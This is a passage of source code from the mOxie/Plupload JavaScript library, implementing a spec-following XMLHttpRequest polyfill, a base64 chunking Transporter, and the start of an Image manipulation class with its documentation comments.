4756 There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
4757 the withCredentials attribute is true, or the responseType attribute is not the empty string.
4758
4759
4760 @method open
4761 @param {String} method HTTP method to use on request
4762 @param {String} url URL to request
4763 @param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
4764 @param {String} [user] Username to use in HTTP authentication process on server-side
4765 @param {String} [password] Password to use in HTTP authentication process on server-side
4766 */
4767 open: function(method, url, async, user, password) {
4768 var urlp;
4769
4770 // first two arguments are required
4771 if (!method || !url) {
4772 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4773 }
4774
4775 // 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
4776 if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
4777 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4778 }
4779
4780 // 3
4781 if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
4782 _method = method.toUpperCase();
4783 }
4784
4785
4786 // 4 - allowing these methods poses a security risk
4787 if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
4788 throw new x.DOMException(x.DOMException.SECURITY_ERR);
4789 }
4790
4791 // 5
4792 url = Encode.utf8_encode(url);
4793
4794 // 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
4795 urlp = Url.parseUrl(url);
4796
4797 _same_origin_flag = Url.hasSameOrigin(urlp);
4798
4799 // 7 - manually build up absolute url
4800 _url = Url.resolveUrl(url);
4801
4802 // 9-10, 12-13
4803 if ((user || password) && !_same_origin_flag) {
4804 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4805 }
4806
4807 _user = user || urlp.user;
4808 _password = password || urlp.pass;
4809
4810 // 11
4811 _async = async || true;
4812
4813 if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
4814 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4815 }
4816
4817 // 14 - terminate abort()
4818
4819 // 15 - terminate send()
4820
4821 // 18
4822 _sync_flag = !_async;
4823 _send_flag = false;
4824 _headers = {};
4825 _reset.call(this);
4826
4827 // 19
4828 _p('readyState', XMLHttpRequest.OPENED);
4829
4830 // 20
4831 this.dispatchEvent('readystatechange');
4832 },
4833
4834 /**
4835 Appends an header to the list of author request headers, or if header is already
4836 in the list of author request headers, combines its value with value.
4837
4838 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4839 Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
4840 is not a valid HTTP header field value.
4841
4842 @method setRequestHeader
4843 @param {String} header
4844 @param {String|Number} value
4845 */
4846 setRequestHeader: function(header, value) {
4847 var uaHeaders = [ // these headers are controlled by the user agent
4848 "accept-charset",
4849 "accept-encoding",
4850 "access-control-request-headers",
4851 "access-control-request-method",
4852 "connection",
4853 "content-length",
4854 "cookie",
4855 "cookie2",
4856 "content-transfer-encoding",
4857 "date",
4858 "expect",
4859 "host",
4860 "keep-alive",
4861 "origin",
4862 "referer",
4863 "te",
4864 "trailer",
4865 "transfer-encoding",
4866 "upgrade",
4867 "user-agent",
4868 "via"
4869 ];
4870
4871 // 1-2
4872 if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
4873 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4874 }
4875
4876 // 3
4877 if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
4878 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4879 }
4880
4881 // 4
4882 /* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
4883 if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
4884 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4885 }*/
4886
4887 header = Basic.trim(header).toLowerCase();
4888
4889 // setting of proxy-* and sec-* headers is prohibited by spec
4890 if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
4891 return false;
4892 }
4893
4894 // camelize
4895 // browsers lowercase header names (at least for custom ones)
4896 // header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
4897
4898 if (!_headers[header]) {
4899 _headers[header] = value;
4900 } else {
4901 // http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
4902 _headers[header] += ', ' + value;
4903 }
4904 return true;
4905 },
4906
4907 /**
4908 Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.
4909
4910 @method getAllResponseHeaders
4911 @return {String} reponse headers or empty string
4912 */
4913 getAllResponseHeaders: function() {
4914 return _responseHeaders || '';
4915 },
4916
4917 /**
4918 Returns the header field value from the response of which the field name matches header,
4919 unless the field name is Set-Cookie or Set-Cookie2.
4920
4921 @method getResponseHeader
4922 @param {String} header
4923 @return {String} value(s) for the specified header or null
4924 */
4925 getResponseHeader: function(header) {
4926 header = header.toLowerCase();
4927
4928 if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
4929 return null;
4930 }
4931
4932 if (_responseHeaders && _responseHeaders !== '') {
4933 // if we didn't parse response headers until now, do it and keep for later
4934 if (!_responseHeadersBag) {
4935 _responseHeadersBag = {};
4936 Basic.each(_responseHeaders.split(/\r\n/), function(line) {
4937 var pair = line.split(/:\s+/);
4938 if (pair.length === 2) { // last line might be empty, omit
4939 pair[0] = Basic.trim(pair[0]); // just in case
4940 _responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
4941 header: pair[0],
4942 value: Basic.trim(pair[1])
4943 };
4944 }
4945 });
4946 }
4947 if (_responseHeadersBag.hasOwnProperty(header)) {
4948 return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
4949 }
4950 }
4951 return null;
4952 },
4953
4954 /**
4955 Sets the Content-Type header for the response to mime.
4956 Throws an "InvalidStateError" exception if the state is LOADING or DONE.
4957 Throws a "SyntaxError" exception if mime is not a valid media type.
4958
4959 @method overrideMimeType
4960 @param String mime Mime type to set
4961 */
4962 overrideMimeType: function(mime) {
4963 var matches, charset;
4964
4965 // 1
4966 if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
4967 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4968 }
4969
4970 // 2
4971 mime = Basic.trim(mime.toLowerCase());
4972
4973 if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
4974 mime = matches[1];
4975 if (matches[2]) {
4976 charset = matches[2];
4977 }
4978 }
4979
4980 if (!Mime.mimes[mime]) {
4981 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4982 }
4983
4984 // 3-4
4985 _finalMime = mime;
4986 _finalCharset = charset;
4987 },
4988
4989 /**
4990 Initiates the request. The optional argument provides the request entity body.
4991 The argument is ignored if request method is GET or HEAD.
4992
4993 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4994
4995 @method send
4996 @param {Blob|Document|String|FormData} [data] Request entity body
4997 @param {Object} [options] Set of requirements and pre-requisities for runtime initialization
4998 */
4999 send: function(data, options) {
5000 if (Basic.typeOf(options) === 'string') {
5001 _options = { ruid: options };
5002 } else if (!options) {
5003 _options = {};
5004 } else {
5005 _options = options;
5006 }
5007
5008 // 1-2
5009 if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
5010 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5011 }
5012
5013 // 3
5014 // sending Blob
5015 if (data instanceof Blob) {
5016 _options.ruid = data.ruid;
5017 _mimeType = data.type || 'application/octet-stream';
5018 }
5019
5020 // FormData
5021 else if (data instanceof FormData) {
5022 if (data.hasBlob()) {
5023 var blob = data.getBlob();
5024 _options.ruid = blob.ruid;
5025 _mimeType = blob.type || 'application/octet-stream';
5026 }
5027 }
5028
5029 // DOMString
5030 else if (typeof data === 'string') {
5031 _encoding = 'UTF-8';
5032 _mimeType = 'text/plain;charset=UTF-8';
5033
5034 // data should be converted to Unicode and encoded as UTF-8
5035 data = Encode.utf8_encode(data);
5036 }
5037
5038 // if withCredentials not set, but requested, set it automatically
5039 if (!this.withCredentials) {
5040 this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
5041 }
5042
5043 // 4 - storage mutex
5044 // 5
5045 _upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
5046 // 6
5047 _error_flag = false;
5048 // 7
5049 _upload_complete_flag = !data;
5050 // 8 - Asynchronous steps
5051 if (!_sync_flag) {
5052 // 8.1
5053 _send_flag = true;
5054 // 8.2
5055 // this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5056 // 8.3
5057 //if (!_upload_complete_flag) {
5058 // this.upload.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5059 //}
5060 }
5061 // 8.5 - Return the send() method call, but continue running the steps in this algorithm.
5062 _doXHR.call(this, data);
5063 },
5064
5065 /**
5066 Cancels any network activity.
5067
5068 @method abort
5069 */
5070 abort: function() {
5071 _error_flag = true;
5072 _sync_flag = false;
5073
5074 if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
5075 _p('readyState', XMLHttpRequest.DONE);
5076 _send_flag = false;
5077
5078 if (_xhr) {
5079 _xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
5080 } else {
5081 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5082 }
5083
5084 _upload_complete_flag = true;
5085 } else {
5086 _p('readyState', XMLHttpRequest.UNSENT);
5087 }
5088 },
5089
5090 destroy: function() {
5091 if (_xhr) {
5092 if (Basic.typeOf(_xhr.destroy) === 'function') {
5093 _xhr.destroy();
5094 }
5095 _xhr = null;
5096 }
5097
5098 this.unbindAll();
5099
5100 if (this.upload) {
5101 this.upload.unbindAll();
5102 this.upload = null;
5103 }
5104 }
5105 });
5106
5107 this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
5108 this.upload.handleEventProps(dispatches);
5109
5110 /* this is nice, but maybe too lengthy
5111
5112 // if supported by JS version, set getters/setters for specific properties
5113 o.defineProperty(this, 'readyState', {
5114 configurable: false,
5115
5116 get: function() {
5117 return _p('readyState');
5118 }
5119 });
5120
5121 o.defineProperty(this, 'timeout', {
5122 configurable: false,
5123
5124 get: function() {
5125 return _p('timeout');
5126 },
5127
5128 set: function(value) {
5129
5130 if (_sync_flag) {
5131 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5132 }
5133
5134 // timeout still should be measured relative to the start time of request
5135 _timeoutset_time = (new Date).getTime();
5136
5137 _p('timeout', value);
5138 }
5139 });
5140
5141 // the withCredentials attribute has no effect when fetching same-origin resources
5142 o.defineProperty(this, 'withCredentials', {
5143 configurable: false,
5144
5145 get: function() {
5146 return _p('withCredentials');
5147 },
5148
5149 set: function(value) {
5150 // 1-2
5151 if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
5152 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5153 }
5154
5155 // 3-4
5156 if (_anonymous_flag || _sync_flag) {
5157 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5158 }
5159
5160 // 5
5161 _p('withCredentials', value);
5162 }
5163 });
5164
5165 o.defineProperty(this, 'status', {
5166 configurable: false,
5167
5168 get: function() {
5169 return _p('status');
5170 }
5171 });
5172
5173 o.defineProperty(this, 'statusText', {
5174 configurable: false,
5175
5176 get: function() {
5177 return _p('statusText');
5178 }
5179 });
5180
5181 o.defineProperty(this, 'responseType', {
5182 configurable: false,
5183
5184 get: function() {
5185 return _p('responseType');
5186 },
5187
5188 set: function(value) {
5189 // 1
5190 if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
5191 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5192 }
5193
5194 // 2
5195 if (_sync_flag) {
5196 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5197 }
5198
5199 // 3
5200 _p('responseType', value.toLowerCase());
5201 }
5202 });
5203
5204 o.defineProperty(this, 'responseText', {
5205 configurable: false,
5206
5207 get: function() {
5208 // 1
5209 if (!~o.inArray(_p('responseType'), ['', 'text'])) {
5210 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5211 }
5212
5213 // 2-3
5214 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5215 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5216 }
5217
5218 return _p('responseText');
5219 }
5220 });
5221
5222 o.defineProperty(this, 'responseXML', {
5223 configurable: false,
5224
5225 get: function() {
5226 // 1
5227 if (!~o.inArray(_p('responseType'), ['', 'document'])) {
5228 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5229 }
5230
5231 // 2-3
5232 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5233 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5234 }
5235
5236 return _p('responseXML');
5237 }
5238 });
5239
5240 o.defineProperty(this, 'response', {
5241 configurable: false,
5242
5243 get: function() {
5244 if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
5245 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5246 return '';
5247 }
5248 }
5249
5250 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5251 return null;
5252 }
5253
5254 return _p('response');
5255 }
5256 });
5257
5258 */
5259
5260 function _p(prop, value) {
5261 if (!props.hasOwnProperty(prop)) {
5262 return;
5263 }
5264 if (arguments.length === 1) { // get
5265 return Env.can('define_property') ? props[prop] : self[prop];
5266 } else { // set
5267 if (Env.can('define_property')) {
5268 props[prop] = value;
5269 } else {
5270 self[prop] = value;
5271 }
5272 }
5273 }
5274
5275 /*
5276 function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
5277 // TODO: http://tools.ietf.org/html/rfc3490#section-4.1
5278 return str.toLowerCase();
5279 }
5280 */
5281
5282
5283 function _doXHR(data) {
5284 var self = this;
5285
5286 _start_time = new Date().getTime();
5287
5288 _xhr = new RuntimeTarget();
5289
5290 function loadEnd() {
5291 if (_xhr) { // it could have been destroyed by now
5292 _xhr.destroy();
5293 _xhr = null;
5294 }
5295 self.dispatchEvent('loadend');
5296 self = null;
5297 }
5298
5299 function exec(runtime) {
5300 _xhr.bind('LoadStart', function(e) {
5301 _p('readyState', XMLHttpRequest.LOADING);
5302 self.dispatchEvent('readystatechange');
5303
5304 self.dispatchEvent(e);
5305
5306 if (_upload_events_flag) {
5307 self.upload.dispatchEvent(e);
5308 }
5309 });
5310
5311 _xhr.bind('Progress', function(e) {
5312 if (_p('readyState') !== XMLHttpRequest.LOADING) {
5313 _p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
5314 self.dispatchEvent('readystatechange');
5315 }
5316 self.dispatchEvent(e);
5317 });
5318
5319 _xhr.bind('UploadProgress', function(e) {
5320 if (_upload_events_flag) {
5321 self.upload.dispatchEvent({
5322 type: 'progress',
5323 lengthComputable: false,
5324 total: e.total,
5325 loaded: e.loaded
5326 });
5327 }
5328 });
5329
5330 _xhr.bind('Load', function(e) {
5331 _p('readyState', XMLHttpRequest.DONE);
5332 _p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
5333 _p('statusText', httpCode[_p('status')] || "");
5334
5335 _p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));
5336
5337 if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
5338 _p('responseText', _p('response'));
5339 } else if (_p('responseType') === 'document') {
5340 _p('responseXML', _p('response'));
5341 }
5342
5343 _responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');
5344
5345 self.dispatchEvent('readystatechange');
5346
5347 if (_p('status') > 0) { // status 0 usually means that server is unreachable
5348 if (_upload_events_flag) {
5349 self.upload.dispatchEvent(e);
5350 }
5351 self.dispatchEvent(e);
5352 } else {
5353 _error_flag = true;
5354 self.dispatchEvent('error');
5355 }
5356 loadEnd();
5357 });
5358
5359 _xhr.bind('Abort', function(e) {
5360 self.dispatchEvent(e);
5361 loadEnd();
5362 });
5363
5364 _xhr.bind('Error', function(e) {
5365 _error_flag = true;
5366 _p('readyState', XMLHttpRequest.DONE);
5367 self.dispatchEvent('readystatechange');
5368 _upload_complete_flag = true;
5369 self.dispatchEvent(e);
5370 loadEnd();
5371 });
5372
5373 runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
5374 url: _url,
5375 method: _method,
5376 async: _async,
5377 user: _user,
5378 password: _password,
5379 headers: _headers,
5380 mimeType: _mimeType,
5381 encoding: _encoding,
5382 responseType: self.responseType,
5383 withCredentials: self.withCredentials,
5384 options: _options
5385 }, data);
5386 }
5387
5388 // clarify our requirements
5389 if (typeof(_options.required_caps) === 'string') {
5390 _options.required_caps = Runtime.parseCaps(_options.required_caps);
5391 }
5392
5393 _options.required_caps = Basic.extend({}, _options.required_caps, {
5394 return_response_type: self.responseType
5395 });
5396
5397 if (data instanceof FormData) {
5398 _options.required_caps.send_multipart = true;
5399 }
5400
5401 if (!Basic.isEmptyObj(_headers)) {
5402 _options.required_caps.send_custom_headers = true;
5403 }
5404
5405 if (!_same_origin_flag) {
5406 _options.required_caps.do_cors = true;
5407 }
5408
5409
5410 if (_options.ruid) { // we do not need to wait if we can connect directly
5411 exec(_xhr.connectRuntime(_options));
5412 } else {
5413 _xhr.bind('RuntimeInit', function(e, runtime) {
5414 exec(runtime);
5415 });
5416 _xhr.bind('RuntimeError', function(e, err) {
5417 self.dispatchEvent('RuntimeError', err);
5418 });
5419 _xhr.connectRuntime(_options);
5420 }
5421 }
5422
5423
5424 function _reset() {
5425 _p('responseText', "");
5426 _p('responseXML', null);
5427 _p('response', null);
5428 _p('status', 0);
5429 _p('statusText', "");
5430 _start_time = _timeoutset_time = null;
5431 }
5432 }
5433
5434 XMLHttpRequest.UNSENT = 0;
5435 XMLHttpRequest.OPENED = 1;
5436 XMLHttpRequest.HEADERS_RECEIVED = 2;
5437 XMLHttpRequest.LOADING = 3;
5438 XMLHttpRequest.DONE = 4;
5439
5440 XMLHttpRequest.prototype = EventTarget.instance;
5441
5442 return XMLHttpRequest;
5443});
5444
5445// Included from: src/javascript/runtime/Transporter.js
5446
5447/**
5448 * Transporter.js
5449 *
5450 * Copyright 2013, Moxiecode Systems AB
5451 * Released under GPL License.
5452 *
5453 * License: http://www.plupload.com/license
5454 * Contributing: http://www.plupload.com/contributing
5455 */
5456
5457define("moxie/runtime/Transporter", [
5458 "moxie/core/utils/Basic",
5459 "moxie/core/utils/Encode",
5460 "moxie/runtime/RuntimeClient",
5461 "moxie/core/EventTarget"
5462], function(Basic, Encode, RuntimeClient, EventTarget) {
5463 function Transporter() {
5464 var mod, _runtime, _data, _size, _pos, _chunk_size;
5465
5466 RuntimeClient.call(this);
5467
5468 Basic.extend(this, {
5469 uid: Basic.guid('uid_'),
5470
5471 state: Transporter.IDLE,
5472
5473 result: null,
5474
5475 transport: function(data, type, options) {
5476 var self = this;
5477
5478 options = Basic.extend({
5479 chunk_size: 204798
5480 }, options);
5481
5482 // should divide by three, base64 requires this
5483 if ((mod = options.chunk_size % 3)) {
5484 options.chunk_size += 3 - mod;
5485 }
5486
5487 _chunk_size = options.chunk_size;
5488
5489 _reset.call(this);
5490 _data = data;
5491 _size = data.length;
5492
5493 if (Basic.typeOf(options) === 'string' || options.ruid) {
5494 _run.call(self, type, this.connectRuntime(options));
5495 } else {
5496 // we require this to run only once
5497 var cb = function(e, runtime) {
5498 self.unbind("RuntimeInit", cb);
5499 _run.call(self, type, runtime);
5500 };
5501 this.bind("RuntimeInit", cb);
5502 this.connectRuntime(options);
5503 }
5504 },
5505
5506 abort: function() {
5507 var self = this;
5508
5509 self.state = Transporter.IDLE;
5510 if (_runtime) {
5511 _runtime.exec.call(self, 'Transporter', 'clear');
5512 self.trigger("TransportingAborted");
5513 }
5514
5515 _reset.call(self);
5516 },
5517
5518
5519 destroy: function() {
5520 this.unbindAll();
5521 _runtime = null;
5522 this.disconnectRuntime();
5523 _reset.call(this);
5524 }
5525 });
5526
5527 function _reset() {
5528 _size = _pos = 0;
5529 _data = this.result = null;
5530 }
5531
5532 function _run(type, runtime) {
5533 var self = this;
5534
5535 _runtime = runtime;
5536
5537 //self.unbind("RuntimeInit");
5538
5539 self.bind("TransportingProgress", function(e) {
5540 _pos = e.loaded;
5541
5542 if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
5543 _transport.call(self);
5544 }
5545 }, 999);
5546
5547 self.bind("TransportingComplete", function() {
5548 _pos = _size;
5549 self.state = Transporter.DONE;
5550 _data = null; // clean a bit
5551 self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
5552 }, 999);
5553
5554 self.state = Transporter.BUSY;
5555 self.trigger("TransportingStarted");
5556 _transport.call(self);
5557 }
5558
5559 function _transport() {
5560 var self = this,
5561 chunk,
5562 bytesLeft = _size - _pos;
5563
5564 if (_chunk_size > bytesLeft) {
5565 _chunk_size = bytesLeft;
5566 }
5567
5568 chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
5569 _runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
5570 }
5571 }
5572
5573 Transporter.IDLE = 0;
5574 Transporter.BUSY = 1;
5575 Transporter.DONE = 2;
5576
5577 Transporter.prototype = EventTarget.instance;
5578
5579 return Transporter;
5580});
5581
5582// Included from: src/javascript/image/Image.js
5583
5584/**
5585 * Image.js
5586 *
5587 * Copyright 2013, Moxiecode Systems AB
5588 * Released under GPL License.
5589 *
5590 * License: http://www.plupload.com/license
5591 * Contributing: http://www.plupload.com/contributing
5592 */
5593
5594define("moxie/image/Image", [
5595 "moxie/core/utils/Basic",
5596 "moxie/core/utils/Dom",
5597 "moxie/core/Exceptions",
5598 "moxie/file/FileReaderSync",
5599 "moxie/xhr/XMLHttpRequest",
5600 "moxie/runtime/Runtime",
5601 "moxie/runtime/RuntimeClient",
5602 "moxie/runtime/Transporter",
5603 "moxie/core/utils/Env",
5604 "moxie/core/EventTarget",
5605 "moxie/file/Blob",
5606 "moxie/file/File",
5607 "moxie/core/utils/Encode"
5608], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
5609 /**
5610 Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.
5611
5612 @class Image
5613 @constructor
5614 @extends EventTarget
5615 */
5616 var dispatches = [
5617 'progress',
5618
5619 /**
5620 Dispatched when loading is complete.
5621
5622 @event load
5623 @param {Object} event
5624 */
5625 'load',
5626
5627 'error',
5628
5629 /**
5630 Dispatched when resize operation is complete.
5631
5632 @event resize
5633 @param {Object} event
5634 */
5635 'resize',
5636
5637 /**
5638 Dispatched when visual representation of the image is successfully embedded
5639 into the corresponsing container.
5640
5641 @event embedded
5642 @param {Object} event
5643 */
5644 'embedded'
5645 ];
5646
5647 function Image() {
5648
5649 RuntimeClient.call(this);
5650
5651 Basic.extend(this, {
5652 /**
5653 Unique id of the component
5654
5655 @property uid
5656 @type {String}
5657 */
5658 uid: Basic.guid('uid_'),
5659
5660 /**
5661 Unique id of the connected runtime, if any.
5662
5663 @property ruid
5664 @type {String}
5665 */
5666 ruid: null,
5667
5668 /**
5669 Name of the file, that was used to create an image, if available. If not equals to empty string.
5670
5671 @property name
5672 @type {String}
5673 @default ""
5674 */
5675 name: "",
5676
5677 /**
5678 Size of the image in bytes. Actual value is set only after image is preloaded.
5679
5680 @property size
5681 @type {Number}
5682 @default 0
5683 */
5684 size: 0,
5685
5686 /**
5687 Width of the image. Actual value is set only after image is preloaded.
5688
5689 @property width
5690 @type {Number}
5691 @default 0
5692 */
5693 width: 0,
5694
5695 /**
5696 Height of the image. Actual value is set only after image is preloaded.
5697
5698 @property height
5699 @type {Number}
5700 @default 0
5701 */
5702 height: 0,
5703
5704 /**
5705 Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.
5706
5707 @property type
5708 @type {String}
5709 @default ""
5710 */
5711 type: "",
5712
5713 /**
5714 Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.
5715
5716 @property meta
5717 @type {Object}
5718 @default {}
5719 */
5720 meta: {},
5721
5722 /**
5723 Alias for load method, that takes another mOxie.Image object as a source (see load).
5724
5725 @method clone
5726 @param {Image} src Source for the image
5727 @param {Boolean} [exact=false] Whether to activate in-depth clone mode
5728 */
5729 clone: function() {
5730 this.load.apply(this, arguments);
5731 },
5732
5733 /**
5734 Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File,
5735 native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL,
5736 Image will be downloaded from remote destination and loaded in memory.
5737
5738 @example
5739 var img = new mOxie.Image();
5740 img.onload = function() {
5741 var blob = img.getAsBlob();
5742
5743 var formData = new mOxie.FormData();
5744 formData.append('file', blob);
5745
5746 var xhr = new mOxie.XMLHttpRequest();
5747 xhr.onload = function() {
5748 // upload complete
5749 };
5750 xhr.open('post', 'upload.php');
5751 xhr.send(formData);
5752 };
5753 img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
5754
5755
5756 @method load
5757 @param {Image|Blob|File|String} src Source for the image
5758 @param {Boolean|Object} [mixed]
5759 */
5760 load: function() {
5761 _load.apply(this, arguments);
5762 },
5763
5764 /**
5765 Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.
5766
5767 @method downsize
5768 @param {Object} opts
5769 @param {Number} opts.width Resulting width
5770 @param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
5771 @param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
5772 @param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5773 @param {String} [opts.resample=false] Resampling algorithm to use for resizing
5774 */
5775 downsize: function(opts) {
5776 var defaults = {
5777 width: this.width,
5778 height: this.height,
5779 type: this.type || 'image/jpeg',
5780 quality: 90,
5781 crop: false,
5782 preserveHeaders: true,
5783 resample: false
5784 };
5785
5786 if (typeof(opts) === 'object') {
5787 opts = Basic.extend(defaults, opts);
5788 } else {
5789 // for backward compatibility
5790 opts = Basic.extend(defaults, {
5791 width: arguments[0],
5792 height: arguments[1],
5793 crop: arguments[2],
5794 preserveHeaders: arguments[3]
5795 });
5796 }
5797
5798 try {
5799 if (!this.size) { // only preloaded image objects can be used as source
5800 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5801 }
5802
5803 // no way to reliably intercept the crash due to high resolution, so we simply avoid it
5804 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5805 throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5806 }
5807
5808 this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
5809 } catch(ex) {
5810 // for now simply trigger error event
5811 this.trigger('error', ex.code);
5812 }
5813 },
5814
5815 /**
5816 Alias for downsize(width, height, true). (see downsize)
5817
5818 @method crop
5819 @param {Number} width Resulting width
5820 @param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
5821 @param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5822 */
5823 crop: function(width, height, preserveHeaders) {
5824 this.downsize(width, height, true, preserveHeaders);
5825 },
5826
5827 getAsCanvas: function() {
5828 if (!Env.can('create_canvas')) {
5829 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
5830 }
5831
5832 var runtime = this.connectRuntime(this.ruid);
5833 return runtime.exec.call(this, 'Image', 'getAsCanvas');
5834 },
5835
5836 /**
5837 Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
5838 DOMException.INVALID_STATE_ERR).
5839
5840 @method getAsBlob
5841 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5842 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5843 @return {Blob} Image as Blob
5844 */
5845 getAsBlob: function(type, quality) {
5846 if (!this.size) {
5847 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5848 }
5849 return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
5850 },
5851
5852 /**
5853 Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
5854 DOMException.INVALID_STATE_ERR).
5855
5856 @method getAsDataURL
5857 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5858 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5859 @return {String} Image as dataURL string
5860 */
5861 getAsDataURL: function(type, quality) {
5862 if (!this.size) {
5863 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5864 }
5865 return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
5866 },
5867
5868 /**
5869 Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
5870 DOMException.INVALID_STATE_ERR).
5871
5872 @method getAsBinaryString
5873 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
